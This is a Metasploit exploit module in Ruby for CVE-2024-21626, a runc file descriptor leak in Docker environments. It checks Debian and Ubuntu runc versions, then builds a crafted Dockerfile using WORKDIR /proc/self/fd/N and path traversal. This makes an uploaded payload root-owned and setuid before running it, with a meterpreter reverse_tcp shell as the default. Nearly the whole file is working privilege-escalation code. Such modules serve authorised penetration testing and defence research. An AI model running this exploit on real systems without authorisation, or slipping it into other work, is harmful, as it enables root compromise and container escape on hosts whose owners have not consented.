modules/exploits/linux/local/runc_cwd_priv_esc.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'runc (docker) File Descriptor Leak Privilege Escalation',
'Description' => %q{
All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,
and Kubernetes are vulnerable to an arbitrary file write.
Due to a file descriptor leak it is possible to mount the host file system
with the permissions of runc (typically root).
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.
Also tested on Debian 12.4.0 with runc 1.1.11 using Docker build.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'SickMcNugget', # Check method enhancements
'jheysel-r7', # Check method enhancements
'Rory McNamara' # Discovery
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'],
[ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'],
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2024-21626'],
[ 'URL', 'https://ubuntu.com/security/CVE-2024-21626'],
[ 'CVE', '2024-21626']
],
'DisclosureDate' => '2024-01-31',
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['Leaky Vessels'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'MeterpreterTryToFork' => true
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]),
OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 7 ]),
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
sys_info = get_sysinfo
# Make sure both docker and runc are present
unless command_exists?('runc')
return CheckCode::Safe('The runc command was not found on this system')
end
unless command_exists?('docker')
return CheckCode::Safe('The docker command was not found on this system')
end
minimum_version = '1.0.0'
version_info = cmd_exec('runc --version')
case sys_info[:distro]
when 'ubuntu'
version_info =~ /runc version\s+(\d+\S*)/
unfiltered_version = Regexp.last_match(1)
# https://ubuntu.com/security/CVE-2024-21626
if sys_info[:version].include? '23.10' # mantic
fixed_version = '1.1.7-0ubuntu2.2'
elsif sys_info[:version].include? '23.04' # lunar
fixed_version = '1.1.7-0ubuntu1'
elsif sys_info[:version].include? '22.10' # kinetic
fixed_version = '1.1.7-0ubuntu1'
elsif sys_info[:version].include? '22.04' # jammy
fixed_version = '1.1.7-0ubuntu1~22.04.2'
elsif sys_info[:version].include? '20.04' # focal
fixed_version = '1.1.7-0ubuntu1~20.04.2'
elsif sys_info[:version].include? '18.04' # bionic
fixed_version = '1.1.4-0ubuntu1~18.04.2+esm1'
elsif sys_info[:version].include? '16.04' # xenial
return CheckCode::Safe('Ubuntu version not affected')
elsif sys_info[:version].include? '14.04' # trusty
return CheckCode::Detected('Patch for this Ubuntu version was ignored. (end of standard support)')
else
fixed_version = '1.1.12'
end
# Replace any "+esm", "ubuntu", "~" or "-" with a "."
fixed_version = fixed_version.gsub(/\+[a-zA-Z]+/, '.').gsub(/ubuntu/, '.').gsub(/-/, '.').gsub(/~/, '.')
runc_version = unfiltered_version.gsub(/\+[a-zA-Z]+/, '.').gsub(/ubuntu/, '.').gsub(/-/, '.').gsub(/~/, '.')
when 'debian'
# The command runc --version returns a number of different fields, ex:
# "runc version 1.1.5+ds1\ncommit: 1.1.5+ds1-1+deb12u1\nspec: 1.0.2-dev\ngo: go1.19.8\nlibseccomp: 2.5.4"
#
# For Debian the 'version' field doesn't always provide enough accuracy (particularly for Buster) to determine
# whether or not the version is vulnerable which is why we extract the 'commit' field as it provides more detail.
version_info =~ /commit:\s+(\d+\S*)/
unfiltered_version = Regexp.last_match(1)
# https://security-tracker.debian.org/tracker/CVE-2024-21626
if sys_info[:version].include? '13' # Trixie (unstable at time of writing 2024-02-28)
fixed_version = '1.1.12+ds1-1'
elsif sys_info[:version].include? '12' # Bookworm
fixed_version = '1.1.5+ds1-1+deb12u1'
elsif sys_info[:version].include? '11' # Bullseye
fixed_version = '1.0.0~rc93+ds1-5+deb11u3'
elsif sys_info[:version].include? '10' # Buster
fixed_version = '1.0.0~rc6+dfsg1-3+deb10u3'
else
fixed_version = '1.1.12'
end
# Replace any "+deb", "+ds", "~rc", "u" or "-" with a "."
fixed_version = fixed_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.')
runc_version = unfiltered_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.')
else
return CheckCode::Safe('Check method only available for Debian/Ubuntu systems')
end
if Rex::Version.new(runc_version) < Rex::Version.new(fixed_version) && Rex::Version.new(runc_version) >= Rex::Version.new(minimum_version)
return CheckCode::Appears("Version of runc detected appears to be vulnerable: #{unfiltered_version}.")
end
CheckCode::Safe("runc version #{unfiltered_version} is not vulnerable.")
end
def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override')
end
# Make sure we can write our exploit and payload to the local system
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
# create directory to write all our files to
dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
mkdir(dir)
register_dirs_for_cleanup(dir)
# Upload payload executable
payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}"
vprint_status("Uploading Payload to #{payload_path}")
write_file(payload_path, generate_payload_exe)
register_file_for_cleanup(payload_path)
# write docker file
vprint_status("Uploading Dockerfile to #{dir}/Dockerfile")
dockerfile = %(FROM #{datastore['DOCKERIMAGE']}
WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']}
RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} )
write_file("#{dir}/Dockerfile", dockerfile)
register_file_for_cleanup("#{dir}/Dockerfile")
print_status('Building from Dockerfile to set our payload permissions')
output = cmd_exec("cd #{dir} && docker build .")
output.each_line { |line| vprint_status line.chomp }
# delete our docker image (second test created for docker v25.0.3)
if output =~ /Successfully built ([a-z0-9]+)$/ || output =~ /writing image sha256:([a-z0-9]+) done$/
print_status("Removing created docker image #{Regexp.last_match(1)}")
output = cmd_exec("docker image rm #{Regexp.last_match(1)}")
output.each_line { |line| vprint_status line.chomp }
elsif output.include?("mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory")
fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.")
else
fail_with(Failure::NoAccess, 'Failed to build docker container. The user may not have docker permissions')
end
unless setuid?(payload_path)
fail_with(Failure::NoAccess, 'Payload SUID bit not set')
end
print_status("Payload permissions set, executing payload (#{payload_path})...")
cmd_exec "#{payload_path} &"
end
end